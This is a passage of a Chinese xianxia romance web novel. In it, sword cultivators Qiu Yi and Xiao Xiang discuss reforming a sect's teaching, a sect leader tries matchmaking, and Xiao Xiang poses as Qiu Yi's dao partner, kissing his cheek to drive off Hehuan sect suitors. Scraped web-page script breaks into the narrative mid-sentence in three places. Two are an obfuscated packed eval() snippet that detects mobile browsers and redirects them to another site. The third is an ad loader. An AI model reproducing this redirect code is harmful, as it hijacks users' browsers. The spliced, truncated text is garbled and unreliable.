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剑修不依:“你上回也是这么说的,结果猫在太清宗里二十年没出来,我去找你,你也不见我,鬼才信你!” 旁边路过的一个鬼修看着剑修,阴森森道:“你怎么说话的?我也不信。” 剑修一指鬼修,看着暮成雪说道:“看到没看到没,鬼都不信!” 暮成雪拽着剑修往门外走,无奈道:“雷震宇,你能不能别跟个小孩儿似的胡搅蛮缠。这里离太清宗又不远,要不你跟我一起去?” 雷震宇拽着暮成雪的手腕蹲地上耍赖,“我要去找顾人还——” “谁找我?”一道清清泠泠的声音从门外传来。 正在门口拉扯的两人闻声转头,向着声音的来处望去,见一名华服秀貌的少年郎踏剑而来,落在茶馆门口。 雷震宇双眼一亮,撒开一只手,去抓住顾人还,“我找你。” 三人修为虽相近,但论辈分,顾人还是幽明行神那一辈的人。暮成雪向顾人还行了一礼,问道:“灵钧从何而来?” “我从玄清来。”“灵钧”是顾人还的道号,他笑着摸摸雷震宇的狗头,又笑着对暮成雪说道,“听闻凝宁的师父和上清宗行神道君结为道侣,在玄清宗你侬我侬了半月有余。” 道号“凝宁”的暮成雪目瞪口呆。 雷震宇不解:“为什么太清宗的长老和上清宗的长老要去玄清宗你侬我侬?” 顾人还解释道:“幽明道长与我们玄清的孤鸿长老是知交,应当是去……报喜的吧?” 三人面面相觑,随后一致召出本命剑,御剑飞往太清宗。 暮成雪和顾人还都太好奇了,幽明和行神都是修仙界有名的淡人,怎么突然就牵扯到一起去了呢? 至于雷震宇,如今找到了顾人还,他心愿已了,纯粹是跟着去看热闹的。 10. 一言之差 红梅落雪的小筑中,裘弈将曾经程云的事告知萧湘。这件事当时在青云宗和上清宗之间闹得很大,青云宗弟子确实是杀了人,但上清宗的三长老难辞其咎,究竟是哪一方的责任也掰扯不清,两宗甚至有交恶的势头,直到裘弈将谢英暗杀后,两宗的关系才有所缓和。 “原是如此。” 萧湘轻声应完,对裘弈说了一个字:“犟。” 虽然没连名带姓,但现场没有第三人,这个字是在说谁显而易见。 裘弈:“吾?” 萧湘点点头。 裘弈:“为何?” “此事错在谢英,不在功法传承。程云是因为谢英吼的那一声才未能躲开致命一剑,错在长者向幼者施压,与他修两种剑法没有关系,与他是否被教授过应对之法也没有干系。” 萧湘观察了一下裘弈的神色,见对方神色无异,才继续道:“与你更没有干系。程云跟着你学剑,那是他的选择;程云被谢英勒令不准使用你所教授的剑招以至于丧命,那是谢英之过。” 裘弈解释道:“吾未曾教过程云剑招,只是教他些……应对之法。” “有‘剑仙’之名的剑修所授之法不可能无用,更不可能会害了他。” 萧湘叹息一声,明明说着安慰人的话,声音却冷冰冰的,毫无感情起伏:“裘弈,你只看见了一个因故而亡的徒子,没有看到其他因你指点而精进的徒子。” “若是认为指导徒子实在困难,也可以换种方式为小辈们提供帮助。世间许多绝险你经历过,你得以从中存活下来,定会有所感悟,将那些感悟说给徒子听便可,不需要做其他更多的事,那些感悟很可能会在未来的某一日救他们于水火之中。” 裘弈脑子里除了剑之外不放其他事,许多事,他只知道个结果,并不去思考其中缘由。程云之死的一大原因被他归结为自己教授了对方应对之法,从此再也不敢与任何徒子有接触,也不再去细想这件事。 人的勇气忽多忽少,屠戮万魔时裘弈都没怕过,却会因为一名同宗徒子的死亡而心生畏怖。 奇也怪哉。 “……”裘弈突然开了个小差,他回想到以前师姐为他占卜命数,说他亲缘浅薄、命途孤绝——就是身边留不住人的意思,那些与他关系亲近的人会因为各种原因离他而去。 到目前为止,与他关系亲近的人,无论是父母、师长、好友、徒子,皆已丧命。 他突然有些惊悚地想:倘若有朝一日,吾与上清宗的诸位关系好起来会发生什么? 会不会—— ——“道君?” 前方传来的声音将裘弈拉回神。 萧湘略带关切地看着裘弈的灰色眼睛,只从那片灰色中看见了无尽的茫然。 “……抱歉。”裘弈抬手,捏了捏自己的眉心,让自己凝神静气,不要多想。 人定胜天,莫要多虑。 萧湘以为裘弈不爱同徒子交流,讲感悟一道可能行不大通,又道:“再或者,道君若是有意,可将自己编创的剑法写下来,或是存入玉简之中,供徒子学习借鉴。” 闻言,裘弈双目一亮。 萧湘用法术取来纸笔墨砚,又从门外召了些雪进来化成水,给裘弈磨墨。 一刻钟后,萧湘看着满纸的鬼画符陷入沉默:“……” 裘弈拈着写炸了毛的笔,意识到自己写字并不好看,主动认清自己的缺点道:“吾不会写字。” 萧湘看着裘弈错误的执笔方式,补充道:“还不会拿笔。” 两人一个站着磨墨,一个坐着拿笔,面面相觑。 萧湘突然意识到一个问题,他询问道:“上清宗从未开设过写字课?” 裘弈摇头,“未曾。” “道君也从未主动学过?”萧湘又问。 裘弈又摇头,“师父说只有符修才需要写字,剑修会用剑就好。” 萧湘:“……” 萧湘又叹。 “道君来说剑法,本座来记录。”萧湘重新取了一支笔,坐到原先裘弈坐着的位置上,铺设新纸,静待落笔。 裘弈拿起摧雪,当场开始舞剑,“这样,再这样,然后这样……” “这样”之声持续了半个时辰,裘弈持剑收势,随着一声“最后这样”,这段舞剑终于结束。 裘弈拿着摧雪走到桌前,见萧湘面前的纸上一字未落,奇怪道:“道长怎不记录?” “……”萧湘再叹,他撂笔扶额,低声道,“本座头痛。” 裘弈用法术将小筑的门窗都关闭,让一直往里吹拂寒风的源头消失,转头问萧湘:“可有感觉好些?” “……好些了,多谢。”萧湘又从储物扳指中取出一根玉简,“此剑法难以用文字记载,道君凭神识将剑招记入玉简罢。” 裘弈接过玉简,独自琢磨了一会儿后抬头看萧湘。 萧湘已经有所预料:“不会用玉简记录?” 裘弈点头。 萧湘闭目,片刻后又从扳指中取出一根玉简,向裘弈招手示意道:“上前来学。” 本以为裘弈是来交流学习的,没想到是来完全学习的。萧湘于心中一叹再叹,上清宗的一名老资历都是如此,那些年轻徒子又是在何种环境中成长的? 修士的修为越高,越注重自己的修为,不会像年轻时一样集结着一堆同龄人去历练,独处是常态,都不再关心身外事,以免沾染过多的因果。 但萧湘明显是高修者之中的异类。萧湘此人,生平最爱闲操心,要不然也不会成为太清宗总掌教。宗门发展有段衍操心,萧湘就去关心宗中小辈的发展,如今身边有了个大龄问题剑修,他又忍不住去关心这位大龄剑修的宗门。 修仙界未来有大灾难,太清宗必定是主张所有宗门齐心协力共克时艰的那一类存在,“三清”不只是一个并列共称,此称呼因往日三宗遇事优先合作而生。 上清宗既然派裘弈来太清宗学习,就是意识到了本宗在某些地方过于落后,有心向好处发展,只是上清宗坐井许久,观天逆命有些困难,只能向别宗求助。 可求助一事又不能说的太明白,每个宗门都将自己的传承看得极为重要,许多事都不肯外传,上清宗来此,便只能说作“交流学习”。 “识字课与写字课,需尽早开办。”萧湘突然对正在研究玉简的裘弈说道。 裘弈抬眼看着萧湘,示意萧湘接着往下说。 “徒子想学什么,便去相应的长老或掌教座下当记名弟子。听道君先前所言,上清宗似乎还保持着师从一脉的传统,修仙界发展至今,此道已不可取。”萧湘见裘弈瞪着眼只知道听,用指尖轻轻扣了一下裘弈手里握着的空白玉简,“用你的神识,将本座方才所言记录下来。” 裘弈连忙开始记录。 “弄清门中各长老与驻宗的高修修士都擅长什么,每月轮流为徒子们开设课堂,讲授道法。”萧湘话音顿了顿,略作思考后再次开口,“太清宗与其他宗门的一大不同之处是,在太清,由徒子选择师长,而不由师长选择徒子。本座若是钟意某名徒子,会极力向那名徒子展示自己的才学,以求徒子选择拜入本座门下。” “就算拜到了本座门下,日后若是想要学习他术,也可去同宗其他师长座下挂名学习。一徒百师,一师千徒,太清宗从不拘于一格。” 裘弈点点头,表示自己记下了。 “上清宗中其他问题,本座也不清楚。红梅落雪现今再无第三人,你若对治宗之法还有疑问,尽管提便是。”萧湘缓声说道。 裘弈沉默。 他对于自己的宗门可谓是一无所知,别说能看到宗门内部有什么问题了,他连如今宗内有几个长老都不清楚。 白衣剑修起身,收起记述玉简,对萧湘道:“吾回宗门问一下。” 萧湘也起身,欲要相送,“静候道君。” …… 红梅落雪的山脚下,回宗的小剑修三人组与太清宗宗主段衍遇上了。 “见过宗主。” 暮成雪率先向段衍行礼,跟在后面的另两人见状,也有样学样地叫段宗主好。 “小雪带朋友回来啦?”段衍打眼一看,见暮成雪身后跟着俩眼熟的小孩,欢喜道,“小还小宇!你们仨认识啊!” “认识,但我们并不熟……”暮成雪话音未落,就被顾人还揽住了脖子,捂住了嘴。 顾人还笑道:“小雪要回来见见师父,我和雷震宇也跟着来问声好,没有打扰到段叔叔吧?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560582|142690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “又开始乱叫人,你兄长与我是同辈,怎么就叫我叔叔了?”段衍捏着顾人还的鼻尖轻轻晃了晃,笑道,“正好我也要去寻香……幽明,一道罢。” 段衍先行,顾人还携着闭上嘴的暮成雪随后,雷震宇在地上看见只小松鼠,将松鼠逗着骗到自己肩上来站着,这才起身追上前面的三人。 寻常小辈见到宗主级别的人物,总怕冒犯,闭口不言,但顾人还话多,无论同辈还是长辈,只要生着一张嘴,便能同对方聊天说地。他见段衍手中握着一卷花名册,好奇地问道:“这是什么名册?” “其他宗门适龄单身修士的名目,我在给香……幽明寻个合适的道侣。”段衍笑着将花名册递到顾人还面前,“要看看么?给你兄长也寻个道侣。” “我哥就不必了,他的暗恋还没个结果呢。”顾人还将名册翻阅一遍,大惊道,“我良辰师叔怎么在名册上?” 段衍解释道:“司马良辰性子跳脱,和幽明在一块儿正好互补。” 雷震宇将那名册一翻,也大惊道:“我贺师叔怎么也在这名目上?!” 段衍再解释道:“贺奉天火灵根本源旺盛,与幽明相反,两人可——” 他见顾人还撒开暮成雪,缓缓捂住了雷震宇的耳朵,意识到接下来的话有些少儿不宜,便没有继续说下去。 雷震宇拿开顾人还的手,莫名其妙道:“干嘛捂我耳朵?” 顾人还面不改色地开始瞎扯:“这红梅落雪里冷,我看你耳朵好像冻红了,给你暖暖。” 雷震宇了然:“哦哦,你人真好。” 另三人正发笑,段衍感知到前路有两道寒威渐近,知是萧湘和裘弈来了,止了笑意,与走近的两位冰灵根修士打招呼。 那本花名册最后被传到暮成雪手上,他翻开一看,最后一页上就写着一个人名——“裘弈”。 好歹是太清宗里长大的徒子,暮成雪见自家宗主劝婚的场面没有八百也有五十,早已熟知段宗主的套路,这名册的最后一人,往往就是宗主最中意的那人。 此行定是要先让他师父说出名册前几页的人为什么都入不了眼,再搬出这位名唤裘弈的道君来,借修仙界近来的风言风语给自家师父进行一番洗脑,什么“为何这行神道君不下仙门偏偏这次就为你下了仙门”、“你还给人家送花铁定是对人家有点意思但是不好意思承认对不对”、“放心把师兄给你牵线保证给你俩红线拴紧”、“只要你一声令下我就当一回人间月老”诸如此类的话张口就来。 最后说感情都是培养出来的,再想方设法地让师父同这名道君见面相处,然后企图让他们日久生情—— “见过幽明道长、行神道君!” “见过幽明道长,见过行神道君~” 同伴的问好声将他的神思拉回当下,暮成雪听见师父道号,连忙做贼心虚地将手中的名册合上,扔进雷震宇怀里。 他脑子里思绪纷繁,意识在“宗主又来劝婚了,还是打算劝我师父跟行神在一起”与“行神道君跟我师父好像真的有点事”之间流窜,先低头向前方走来的两人行礼,抬头忽见白发入目时才反应过来,行神道君就在他跟前,在他师父的住处,不需要宗主设计让自家师父和行神道君见一面。 暮成雪在看见行神道君的一瞬间脑子卡壳,他看看行神道君,又瞧瞧与行神道君并肩而行的自家师父,这两人靠的极近,肩膀处的衣料都快蹭在一起了。 人言可畏,暮成雪承认,在茶馆里听见的那些传言在他心里留下了不小的印象,以至于他也开始怀疑起了自家师父是不是背着所有人偷偷谈了个恋爱。 脑子转不动了,还是先问好吧。于是暮成雪看着面前一黑一白的两位高阶剑修,朗声道:“见过师父,见过师爹!” 萧湘:……? 裘弈:……? 段衍:……! 顾人还和雷震宇都一脸震惊地看着暮成雪。 这小子来的路上不还说怕自己的师父被拐走吗?怎么这就改口称人家行神道君为师爹了! 暮成雪相看左右:?你们怎么都看着我? 反应过来自己刚刚叫了行神道君什么的暮成雪:!!! “不是!师父您听我解释啊啊啊啊!!!” 11. 安不了心 现场陷入沉寂,周遭的红梅像是也被暮成雪这一嗓子给镇住了,原先在抖落枝头雪的梅花树也不抖雪了,正在开花的也不开花了,全都停下来,用灵识瞧着在场的几人。 段衍的视线在萧湘与裘弈两人之间来回游移,最终紧紧盯着萧湘,疯狂用眼神示意萧湘快点说些什么。 萧湘没注意自家宗主快要抽筋的眼睛,他面不改色地问暮成雪:“你在外拜了行神的道侣为师?” 闻言,原本正在看暮成雪的裘弈倏地转头看向身侧的萧湘,解释道:“吾没有道侣。” 萧湘:“那……” “是我喊错了!”暮成雪连忙解释,“本来想喊道君的,结果错喊成师爹了,您看这事整的……” 顾人还在他背后小声拱火:“再叫一声师爹。” 暮成雪不动声色地踹了顾人还一脚,继续向师爹……不是,继续向行神道君道歉:“十分抱歉……” 段衍的视线从萧湘脸上转移到暮成雪脸上,似乎是想从暮成雪的脸上看出什么破绽来,他问道:“师爹叫的这么顺口,你师爹是谁?” 喊错人的暮成雪被现场几人盯得面红耳赤,刚刚疏通的脑袋现在又有些卡壳,他见宗主的神色仿佛就是有“师爹”这么一回事儿,但这“师爹”究竟是谁,他也不知道。 “应该……应该没有师爹吧?”暮成雪询问地看向自家师父。 萧湘道:“本座没有道侣。” 几人面面相觑。 裘弈和暮成雪皆不动声色地松了口气。 …… 送走了一脸茫然的裘弈,回到红梅落雪小筑内,段衍占据了裘弈原先坐的蒲团,继续他先前的计划——给萧湘看花名册。 三个剑修小辈各自去扯了个蒲团来,坐在一边听段宗主给幽明道长介绍花名册上的人,偶尔点评到了自己认识的人,也凑热闹似的帮腔两句。 暮成雪托着腮,抬眼看着他那坐的板板正正的师父。 他常年在外历练,行事较其他剑修要圆滑些,贯会看人眼色,方才他喊出“师爹”之后,大伙儿皆处在震惊之中,只有行神道君飞快地看了眼他师父,那一眼说不清是什么情绪,好像有惊讶,也有窘迫。 随后他师父的反应,明显是木头成精,丝毫没意识到他的那声“师爹”与前一声“师父”有关系,还问他是不是在外拜了个别的师父。 行神道君在惊讶什么?又在窘迫什么?道君能及时反应过来,又有了后续那一眼,暮成雪很难不多想。 他觉得是行神道君对自家师父有意,但自家师父对此无知无觉。 师爹……暮成雪从未想过自己会有师爹或师娘。幽明长老身边几乎不留人,红梅落雪连个杂役徒子都没有,当年他偏偏看上了这么个师父,狗皮膏药似的挂在幽明长老的腿上待了一整日,又从山下开始磕头,一路磕到红梅落雪的小筑门口,这才让从来不收亲传徒子的幽明长老松了口,破例收他为徒。 初入幽明门下时,师父对他说了一番话,当时他并未听懂,今日看了一眼花名册上的一众修仙者,他这才了有所悟。 段宗主那花名册上的修士,个个都是修仙界里出了名的命硬之人。 寻常修士窥得一回天机就能落得个身死道消,但玄清宗的司马良辰曾经三窥天机皆无恙,也就这次再窥天机才瞎了眼,但也只是失了明,修为一点都没损耗。高阶修士用神识便可视物,眼睛的作用也就是看个颜色,这失明的天罚对于司马良辰来说,惩戒作用并不大,不是天道怜惜奇才,便是司马良辰本身命硬。 青云宗的贺奉天是当世数一数二的火灵根刀修,年少轻狂时敢赴绝险,用俗话来说就是:哪里要命,贺奉天便要去哪里闯荡。无论是毫无灵气的魔域,还是从未有修士敢前去一探的冥界,贺奉天都去过,不仅活着回来了,还捎回来一堆世间罕见的奇才异宝。 ——这贺奉天与萧湘还有一段往事。 几百年前,贺奉天去冥界闯荡,走之前约上一帮同龄修士喝酒,开了个大赌局,赌他能不能活着从冥界回来。 孤身一人闯荡冥界,这在当时就是个天方夜谭,在场的所有修士都压了贺奉天有去无回,萧湘当时去迟了一步,还未问清缘由便先压了贺奉天能活着回来。 “俺要去冥界,你真赌俺能活着回来?”贺奉天挑眉看着那个冷冰冰的年轻修士,笑道,“俺要是没回来,你得给他们好多灵石。” “你还未去,怎知自己不能回?”萧湘一甩拂尘,挥开向自己涌来的漫天酒气,语气冷漠地说道,“好生活着,莫要让湘输了这灵石。” 贺奉天拎着刀去了,回来时,冥界的出口不知因何缘故自行关闭,将贺奉天困在了冥界的出口内,险些让这个胆大包天的后生在出口处丧命。 生死一线间,是萧湘手持逐星,一剑斩开了冥界出口,让贺奉天得以逃脱。 当时在出口外静候结果的修士有上千名,无一人有法子应对冥界封闭的突发状况,可能有人有法子应对,不过觉得贺奉天肯定不可能活着抵达出口,便没有出手消耗自己的灵力。 千百人中,只有萧湘拔出了长剑,可能是为了救那一条几乎无望的人命,又可能只是为了自己的灵石。 冥界天昏地暗,修仙界万丈光明,逐星斩开的缺口使得修仙界的光芒射入冥界,第一次让众人看清了冥界是何种样貌。 彼时有修士感慨道:“逐星一剑,九幽可明。” 从此,太清宗萧湘,道号幽明。 至于在花名册最末尾的裘弈,此人在修仙界也是无人不知无人不晓,虽然一开始出名的原因是因为生得好看,被合欢宗的修士围追堵截了大半个修仙界,不过后面的传言就好听了许多,什么“一人一剑灭魔宗”、“一人一剑灭祟灾”、“一人一剑灭妖邪”——诸如此类,是剑修中有名的强悍独狼,命硬如铁。 暮成雪伸手,拨弄着师父臂弯里垂落下来的拂尘麈尾。 想要同幽明道长有亲密些的关系,首要条件就是命够硬。他的命也硬,这才有机会成为幽明道长的亲传徒子。 …… 暮成雪刚进宗门时才七岁,正在狗都嫌弃的年纪里,他和一群小豆丁挤挤拥拥地去宗门的食堂用斋,跨过门槛时不慎绊倒,眼看着就要摔在前人的身上,忽然有一股冷气将他包围扶稳,避免了他摔落在地还顺带撞倒他人。 他天资好,还未修炼便已经能感知到灵力,自然也顺着环绕自己的冰冷灵力看到了站在门边的幽明长老。小孩子对于记人样貌并不擅长,往往是去记住一个人的特征,当时的暮成雪仰头看着对他来说无比高大的萧湘,心想:这位长老遍体漆黑,好像乌鸦。 他转念又想:长老很高大,不是小小的乌鸦,应当是大大的渡鸦。 太清宗内有许多可以作为师长的高阶修士,有的长老风趣幽默,有的尊者温柔和善,都是受小孩们喜欢的热门师长。可七岁的暮成雪哪个热门都不要,毅然决然地挂在了冷冰冰的渡鸦长老腿上。 自小会看人眼色应当是暮成雪天生的能力,他挂在这位渡鸦长老的腿上,与垂头的渡鸦长老对视时,能看出这位长老并未因为他的胡闹而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560583|142690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不耐烦,也没有对他产生厌恶情绪,长老眼中只有许多许多的无奈。 用法术将他从腿上扒下来,他会在双脚落地后再跑上前去,狗皮膏药似的将自己贴在幽明长老的腿上。总不能将小孩子关起来,幽明长老最终对他的年幼和胡闹妥协,就让他在腿上挂了一整日,后续又通过八字得知他命格硬,这才收他为徒。 师父很容易妥协。暮成雪心想,从他幼时便是如此,想要什么,想做什么,只要对自身无害,反复磨一磨师父,师父就会如了他的意。 段宗主应当也是清楚这一点,所以才一而再再而三地来寻他师父说姻缘。 师父日后若是妥协,会寻谁做道侣呢? “道侣”这层关系与师徒不同,暮成雪实在想象不出自家师父动情的模样。幽明道长就算待人好,也是一副冷若冰霜的样子,一般人可受不了。 除非,那人同自家师父一样,也总是冷冰冰的。 暮成雪的脑海中无可避免地回想到先前看见的行神道君,他无意识地喃喃道:“师爹……” “师爹?”萧湘正用神识探查暮成雪的周身经脉,他这个小弟子鲜少回宗,每次回来不是受了重伤,便是有要事相告。 探查完毕,没有受伤,萧湘用法术扫去暮成雪的一身风尘,轻声问:“怎么突然回宗了?” 段宗主带着另两个小辈去别处玩耍,红梅落雪中只留下师徒二人叙旧。暮成雪被师父唤回神,松开流光快要让他搓炸毛的麈尾。 “师父。” “你说。” “外界都在传……”暮成雪话到嘴边,又意识到拿这种谣言来质问师父有些不妥,于是改口道,“师父要寻个‘道侣’么?” 萧湘道:“不要。” 暮成雪追问:“为何不要?” 萧湘反问:“为何需要?” “因为……就宗主先前说的那些原因,说怕师父您以后寂寞。” “为师有逐星和流光陪着就好,不寂寞。”萧湘无奈道,“宗主师兄每月都要来劝为师一次,寂寞不下来。” 暮成雪想知道的事都弄清楚了,也知道自家师父目前是不会主动被拐的,他起身道:“师父日后若是有了道侣,记得同徒儿说。” “好。”萧湘颔首。 暮成雪转身往门外走。 “没有别的了?”萧湘将人叫住。 “什么?”暮成雪回头。 “这次回宗,你未受伤,也不是缺灵石,那是在外闯了祸?”萧湘问,“祸有多大,需要为师帮你摆平么?” “没闯祸,我只是回来看看师父。” “为师一切安好。” 暮成雪又往外走。 萧湘将拂尘麈尾理顺,正要闭目静心,却见那已经走了的暮成雪又从门外探进一个头来,对他说道:“师父,我若是有了师娘或师爹,您可一定千万务必绝对要第一个告诉我。” “不会有的,你且安心。”萧湘安抚道。 暮成雪安心地去找自己的两个小伙伴。 第二日。 暮成雪面无表情地站在太清宗山门前,眼睁睁看着自家师父在万众瞩目下承认自己是行神道君的道侣,还往那个行神道君的脸上亲了一口。 蜻蜓点水的一吻,在暮成雪心里掀起了万丈狂澜,把昨天才安下的心给抛上浪尖。 不!是!说!他!不!会!有!师!爹!的!吗! 这才过去几天啊?! 他就说裘弈当初瞥他师父那一眼绝对不简单!这俩剑修之间指定有点事!! 12.名义道侣 裘弈离开红梅落雪后直接踩着摧雪飞回太清宗。 此次回宗,他一要将萧湘建议的那些事转述给罗万劫,二要向罗万劫询问上清宗还有什么称得上是顽疾的地方需要根治。 计划美好,现实有变。裘弈还未行至上清宗山门前,便远远地看见山门前聚着一群衣着“狂放”的修士。 这种修士裘弈可太熟悉了,他二话不说调转剑头,打算返回太清宗。 聚集在上清宗山门前的一众合欢宗修士察觉到有一股不可忽视的气息飞速接近,又飞速远离,其中几个曾和裘弈近距离接触过的修士认出了这道气息,立马回头,朝着裘弈的方向大喝一声—— “他在那里!!!” 裘弈低声催促道:“摧雪,快。” 摧雪:够快了,若是再快,你的灵力回复不一定能跟得上消耗,想高空坠落么? 一人一剑在高空中划出连续残影,地面劳作的凡人听见头上飞过一连串爆响,抬头时,见天蓝依旧,空无一物。 据钱更渡测算,裘弈的桃花运很旺,旺到裘弈即使不做什么,也会招来大把蜂蝶。 此时此刻,在裘弈身后穷追不舍的那群合欢宗修士就是蜂蝶。众所周知,合欢宗以双修为主要修炼方式,不知道哪一任合欢宗宗主发现本门徒子和剑修那些修炼狂魔双修收益最大,可谓事半功倍,这一发现在合欢宗内掀起了一场“追剑狂潮”,从那后,全体合欢宗徒子满修仙界逮剑修来双修。 裘弈从年少下山门时就开始拒绝合欢宗徒子的双修邀请,拒绝了七百多年,统统无效。 合欢宗虽因修炼方式被正道所不齿,但并不是什么大奸大恶祸害苍生之辈,甚至在修仙界的许多大事上经常会看见合欢宗修士积极帮忙。向他发出双修邀请也是一种对他实力的肯定,裘弈并不想伤害这些修为高但战力不高的合欢宗修士。 他只能躲。 被人拒绝这种事,若是发生在其他宗门的修士身上,早就放弃裘弈这个目标了,但合欢宗修士名声臭的一大原因就是全员缠郎缠娘,有好的双修对象就想方设法地得到,以睡到难睡的人为荣,不到手不放弃,因此遭到许多正道诟病。 合欢宗的底线是不对有道侣的修士下手,但裘弈如今并未有道侣,是人人追夺的目标。 追在后头的一名合欢宗修士不知从哪掏出一张红纸来,大喊道:“裘弈!你我在乾坤境中早已成亲!这一纸婚书你可认?!” 裘弈才不认,“那是乾坤境中凭空出现的婚书,上面的提名并非吾之字迹!” 如果是他裘弈的亲手签下的婚书,对方根本不可能看懂那婚书上写的是谁的名字! 又有一合欢宗修士吼道:“我们在青云宗思过崖下□□愉,难道你忘了吗?!” 裘弈闻言一个寒颤,险些栽下摧雪,“一派胡言!吾此生只去过一回思过崖,是师父带十三岁的吾去青云宗谈事时路过,何来□□愉!?” “不管,那夜我在思过崖下玩的开心!” “与吾何干!!” 裘弈冲身后吼完,又低头对摧雪道:“摧雪,吾这辈子没求过你什么,这次求你……” 摧雪漠然道:求我也没用了,你看前面。 裘弈抬头,见前方是太清宗境内。修仙界有一个不成文的规定:路过其他大宗门时需减速飞行。此举不只是为了表达对大宗门的敬意,更是因为大宗门的上空有特殊阵法用以保护宗门,速度太快的事物经过阵法,会直接被当作来势汹汹的敌人处理掉。 若无意惊动太清宗,裘弈需缓行而过,但此时他身后追兵汹汹,剑不能停,只能绕行而过。 合欢宗的一众修士应当是常年堵人,对于堵截一道十分精通,知道裘弈遇大宗会绕行,提前便拦在了裘弈左右。 这下裘弈往左无路,往右无门,后有合欢宗众修士,前方是太清宗。 合欢宗除了双修功法外,还有一个令人津津乐道的地方就是“御器飞行”,毕竟是个以逃命为看家本领的老牌宗门,在飞行速度方面,合欢若排行第二,无宗敢称第一。 御剑飞行其实并没有多潇洒,急速飞行下的灵力损耗很严重,剑身窄,想要在飞剑上站稳还需要额外施法让自己的双脚固定在剑上,不然就容易出现剑都窜出去了、人还留在原地的情况,也不能实现一些高空高难度的紧急闪避动作。 偏生裘弈如今灵力并不充裕,重修心法后的灵力恢复也跟不上自己化神期的消耗,以前还能设法甩开合欢宗修士,如今是有心无力了,被堵住就难以逃脱。 裘弈很少会产生绝望的情绪。 但当他发现自己被堵的无处可逃,且太清宗中已有修士跑出来看热闹时,心里生出了些许绝望。 要动手么?他收剑落地,握上飞至身侧的摧雪。 用剑的话,若是将合欢宗修士打伤,又成了他的不是,恐影响上清宗与合欢宗的关系——罗万劫已经警告过他不能与正道其他宗门交恶了。 那用灵根本源之力?可这是太清宗山门前,他若是在此结出铺天盖地的冰晶来,与宣战何异? 真是……进退两难。 他平日里没有藏身的需求,也不会随身携带用于藏匿己身的符咒——那种符咒太贵了,一般能用剑解决的事,他绝不会去花灵石。 一名合欢宗修士见裘弈落地,也收起飞行器落地,因为灵力在短时间内大量消耗而气喘吁吁。 她叉腰喘了会儿气,无奈地看向裘弈:“不就是想睡一下你,你用得着这样吗!双修是两方都受益的,又不是我们单纯吸你修为,说不定你跟我们睡一轮就能突破到洞虚了,到底在怕什么啊?” 裘弈冷声道:“天下剑修千千万,为何偏偏盯着吾不放?” 那合欢宗修士笑道:“这不是没睡过你这样的嘛~” 这话裘弈不知道该怎么接了,他一直不擅长应对这种有关风月的直白话。眼看太清宗山门里探出来的脑袋越来越多,裘弈打算故技重施,他睁眼说瞎话道:“吾有道侣了。” 另一个合欢宗修士走上前来,嗤笑道:“道侣为摧雪剑是吧?你这借口用了快八百年了。” 摧雪剑身嗡鸣一声:休要污我清白! 裘弈面不改色道:“吾的道侣身份特殊,不便透露。” “有什么不便透露的?难不成你跟魔修——” 裘弈神色一厉,冷眼瞧着那名出声的合欢宗修士。 修士自知失言,当即闭嘴,惩戒似的拍了两下自己的嘴巴。 修仙界谁人不知裘弈视魔如仇,杀魔如饮水?把裘弈和他本身最厌恶的事物牵扯在一起,太不应当。 “嘴上说说谁不会?唤你道侣出来一见,不然视为无道侣!” “就是,别拿什么向往仙剑神剑当借口,老子不会再信了!” “你还能有道侣?碰你一下,你跟受惊兔子似的,就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这样的人平日里怎么跟道侣亲热啊,你那道侣不会跟你一样都是冰块吧?” 合欢修士步步紧逼,上清裘弈节节后退。就在裘弈被逼到绝路,决定用武力突围时,一名被挤在包围圈外、瞧不清前头全貌的好奇修士大声问:“你的道侣到——底——是——谁——” “是本座。”一道清清泠泠的声音从裘弈身后传来,引得众人争相看去。 裘弈讶然回首,见萧湘已行至他身侧,与他并肩。 两人面面相觑,萧湘传音对裘弈说道:“擅自胡言,还望道君见谅。” 裘弈也传音道:“多谢,救吾一命。” 他将摧雪剑收回剑鞘,顺着萧湘的话继续说道:“道侣是幽明。” 萧湘淡声应道:“嗯。” 闻言,合欢宗众修士愣住,后面看热闹的太清宗修士目瞪口呆。大伙儿看看裘弈,再看看萧湘,这两个剑修除了站的近外,无论是脸上神情,还是说话语气,都不像是很熟的样子。 合欢宗众人一致看向萧湘:“不信,除非你亲行神一口。” 裘弈面色一僵。 萧湘出面帮他解围就已经是清尘仙子在世救苦救难了,怎么能再答应这么无礼的要求! 裘弈:“尔等休要逼人太——” 话未说完,一只冰冷的手突然捏住他的下巴,将他的脸掰向右边。 脑海中响起萧湘的声音:“得罪了。” 他右边站着萧湘,并未对右侧设防,还未及反应,便感觉有什么温热的柔软物在他脸上飞快地贴了一下。 一触即离。 “——甚。”裘弈怔怔地看着近在咫尺的萧湘。 他愣愣地想道:萧湘的皮肤很冷,但唇是热的。 似乎忘了身前身后还站着一堆人,裘弈鬼使神差地伸手,用指腹去触碰萧湘的双唇。 萧湘:? 裘弈:“吾的唇没有这般温热。” 萧湘也伸手,摸摸裘弈的下唇。指尖与唇瓣并没有温差,他略有些惊讶道:“果真如此,怎会这样?” “奇怪……难道是先前的心法影响……” 一众修士眼睁睁看着那俩剑修开始旁若无人地探讨肌肤温度与心法的关系:“……” 